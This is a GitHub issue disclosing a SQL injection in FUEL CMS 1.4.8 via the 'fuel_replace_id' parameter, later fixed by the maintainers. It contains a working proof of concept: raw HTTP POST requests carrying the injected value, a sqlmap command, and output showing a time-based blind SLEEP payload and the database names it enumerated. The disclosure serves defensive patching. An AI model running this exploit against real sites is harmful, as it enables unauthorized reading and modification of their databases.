

New issue

[Jump to bottom](#)

## FUEL CMS 1.4.8 allows SQL Injection via parameter 'fuel\_replace\_id' in pages/replace/1 #561

Closed

leerina opened this issue on Aug 19, 2020 · 0 comments

leerina commented on Aug 19, 2020 • edited

FUEL CMS 1.4.8 allows SQL Injection via parameter 'fuel\_replace\_id' in pages/replace/1

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

POC:

POST /FUEL-CMS-1.4.8/fuel/pages/replace/1?inline=1 HTTP/1.1

Host: 192.168.1.12

Content-Length: 347

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

Origin: <http://192.168.1.12>

Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygl1zKZoBINTcl87g

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng;q=0.8,application/signed-exchange;v=b3;q=0.9

Referer: <http://192.168.1.12/FUEL-CMS-1.4.8/fuel/pages/replace/1?lang=english>

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9,en;q=0.8

Cookie: fuel\_ac82b68172fd46789948eb8e66216180=a%3A2%3A%7Bs%3A2%3A%22id%22%3Bs%3A1%3A%221%22%3Bs%3A8%3A%22language%22%3Bs%3A0%3A%22%22%3B%7D; fuel\_ui\_ac82b68172fd46789948eb8e66216180=%257B%2522leftnav\_h3%2522%253A%25220%257C0%257C0%2522%252C%2522fuel\_pages\_items%2522%253A%2522list%2522%252C%2522tabs\_pages\_create%2522%253A%25220%2522%252C%2522fuel\_navigation\_items%2522%253A%2522list%2522%252C%2522tabs\_navigation\_create%2522%253A%25220%2522%252C%2522tab\_s\_pages\_edit\_1%2522%253A%25220%2522%257D; ci\_session=db8df72tcrt8vnr2uaqnckv5ak4n135

Connection: close

-----WebKitFormBoundarygl1zKZoBINTcl87g

Content-Disposition: form-data; name="fuel\_replace\_id"

11%27

-----WebKitFormBoundarygl1zKZoBINTcl87g

Content-Disposition: form-data; name="Submit"

Submit

-----WebKitFormBoundarygl1zKZoBINTcl87g

Content-Disposition: form-data; name="fuel\_inline"

1

-----WebKitFormBoundarygl1zKZoBINTcl87g--

Exploiting Step1. Burpsuite request payload:

In Burpsuite intercept the request from one of the affected pages with 'fuel\_replace\_id' parameter and save it like 33.txt

Then run SQLmap to extract the data from the database:

POST /FUEL-CMS-1.4.8/fuel/pages/replace/1?inline=1 HTTP/1.1

Host: 192.168.1.12

Content-Length: 347

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

Origin: <http://192.168.1.12>

Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygl1zKZoBINTcl87g

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng;q=0.8,application/signed-exchange;v=b3;q=0.9

Referer: <http://192.168.1.12/FUEL-CMS-1.4.8/fuel/pages/replace/1?lang=english>

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9,en;q=0.8

Cookie: fuel\_ac82b68172fd46789948eb8e66216180=a%3A2%3A%7Bs%3A2%3A%22id%22%3Bs%3A1%3A%221%22%3Bs%3A8%3A%22language%22%3Bs%3A0%3A%22%22%3B%7D; fuel\_ui\_ac82b68172fd46789948eb8e66216180=%257B%2522leftnav\_h3%2522%253A%25220%257C0%257C0%2522%252C%2522fuel\_pages\_items%2522%253A%2522list%2522%252C%2522tabs\_pages\_create%2522%253A%25220%2522%252C%2522fuel\_navigation\_items%2522%253A%2522list%2522%252C%2522tabs\_navigation\_create%2522%253A%25220%2522%252C%2522tab\_s\_pages\_edit\_1%2522%253A%25220%2522%257D; ci\_session=db8df72tcrt8vnr2uaqnckv5ak4n135

Connection: close

-----WebKitFormBoundarygl1zKZoBINTcl87g

Content-Disposition: form-data; name="fuel\_replace\_id"

11\*

-----WebKitFormBoundarygl1zKZoBINTcl87g

Content-Disposition: form-data; name="Submit"

Submit

-----WebKitFormBoundarygl1zKZoBINTcl87g

Content-Disposition: form-data; name="fuel\_inline"

1

-----WebKitFormBoundarygl1zKZoBINTcl87g--

Exploiting Setp2 use sqlmap and exploit it.  
python sqlmap.py -r 33.txt --dbs

```

C:\Users\...>python sqlmap.py -r 33.txt --dbs
[1.0.5.15#dev]
http://sqlmap.org

[*] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 14:09:46

[14:09:46] [INFO] parsing HTTP request from '33.txt'
custom injection marking character ('*') found in option '--data'. Do you want to process it? [Y/n/q] Y

Content-Disposition: form-data; name="Submit"

submit
-----WebKitFormBoundaryRTATuGEckLthVJEL
Content-Disposition: form-data; name="fuel_inline"

-----WebKitFormBoundaryRTATuGEckLthVJEL-----
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: -----WebKitFormBoundaryRTATuGEckLthVJEL
Content-Disposition: form-data; name="fuel_replace_id"

AND (SELECT * FROM (SELECT (SLEEP(5)))H1BB)--- rIbY
-----WebKitFormBoundaryRTATuGEckLthVJEL
Content-Disposition: form-data; name="Submit"

submit
-----WebKitFormBoundaryRTATuGEckLthVJEL
Content-Disposition: form-data; name="fuel_inline"


-----WebKitFormBoundaryRTATuGEckLthVJEL-----
[12:41:22] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: PHP 5.4.45, Apache 2.4.23
back-end DBMS: MySQL 5.0
[12:41:22] [INFO] fetching database names
[12:41:33] [INFO] the SQL query used returns 5 entries
[12:41:35] [INFO] retrieved: information_schema
[12:41:38] [INFO] retrieved: fuel
[12:41:40] [INFO] retrieved: mysql
[12:41:42] [INFO] retrieved: performance_schema
[12:41:44] [INFO] retrieved: test

```

 daylightstudio pushed a commit that referenced this issue on Aug 19, 2020

fix: security issue #561 fix

47303d7

 daylightstudio closed this as completed on Sep 23, 2020

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

2 participants

